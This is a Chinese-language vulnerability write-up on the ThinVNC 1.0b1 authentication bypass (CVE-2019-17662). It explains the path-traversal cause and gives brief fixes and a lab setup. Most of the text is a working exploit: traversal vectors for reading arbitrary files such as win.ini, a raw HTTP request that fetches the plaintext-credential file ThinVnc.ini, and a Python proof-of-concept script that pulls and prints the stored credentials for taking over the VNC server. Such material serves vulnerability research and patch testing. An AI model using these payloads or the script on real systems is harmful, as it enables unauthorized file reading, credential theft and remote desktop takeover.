ThinVnc-身份驗證繞過(CVE-2019-17662)
簡介
ThinVNC是一款以網頁瀏覽器為基礎設計的遠端桌面連接工具,不局限用戶端使用那種作業平台,都可以通過采用HTML5為標准的瀏覽器來達到遠端控制。通過利用最新的網絡技術如AJAX,WebSockets和HTML5等,ThinVNC提供安全的,高性能的基於web的遠程桌面訪問。
影響范圍
ThinVnc 1.0b1
漏洞成因
ThinVNC使用基本身份驗證對用戶進行身份驗證以訪問Web VNC界面。部署VNC服務器時,將在服務器端設置要使用的憑據。沒有運行VNC服務器的固定端口,當嘗試使用錯誤的身份驗證憑據進行多重驗證時,它將引發HTTP 401錯誤。可以使用以下向量來繞開它:
/../../../../../../../../../windows/win.ini
此目錄遍歷攻擊向量使我們可以讀取系統上的任何文件。我們可以使用相同的向量來竊取VNC客戶端的憑據。竊取它們后,我們可以使用憑據來破壞VNC服務器。妥協后,我們可以通過終端訪問VNC服務器。
修復方法
(1)禁止存儲明文憑證
(2)切勿使用HTTP進行基本身份驗證
環境搭建
1、測試環境
靶機:
windows 7 x64
IP:192.168.157.131
攻擊機:
windows 10 X64
IP:192.168.1.115
2、下載ThinVnc 客戶端
3、解壓ThinVnc到靶機,無需安裝,直接打開exe文件,開啟服務即可。
服務開啟后根目錄生成配置文件,存儲着vnc的明文登錄憑證
漏洞復現
1、訪問http://192.168.157.131:8080/進入vnc登錄界面
2、接下來我們就可以構造payload來讀取ThinVnc配置文件,payload如下:
GET /xyz/../../ThinVnc.ini HTTP/1.1
Host: 192.168.157.131:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Authorization: Digest username="admin", realm="ThinVNC", nonce="4yTOn+9f5UCoxvEB71/lQA==", uri="/windows/win.ini", response="676e14e9f98fd8147521a329f3e3c6f4", opaque="WRYFjqkyGmRk8RVWldmvJSyiFcL09YpGvw", qop=auth, nc=00000003, cnonce="1ca209d91259e628"
Connection: close
Upgrade-Insecure-Requests: 1
3、利用獲取的口令,通過vnc直接連接到服務器上去
4、附POC
#!/usr/bin/python3
import sys
import requests
def exploit(host,port):
url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
r = requests.get(url)
body = r.text
print(body.splitlines()[2])
print(body.splitlines()[3])
def main():
if(len(sys.argv)!=3):
print("Usage:\n{} <host> <port>\n".format(sys.argv[0]))
print("Example:\n{} 192.168.157.131 8080")
else:
port = sys.argv[2]
host = sys.argv[1]
exploit(host,port)
if __name__ == '__main__':
main()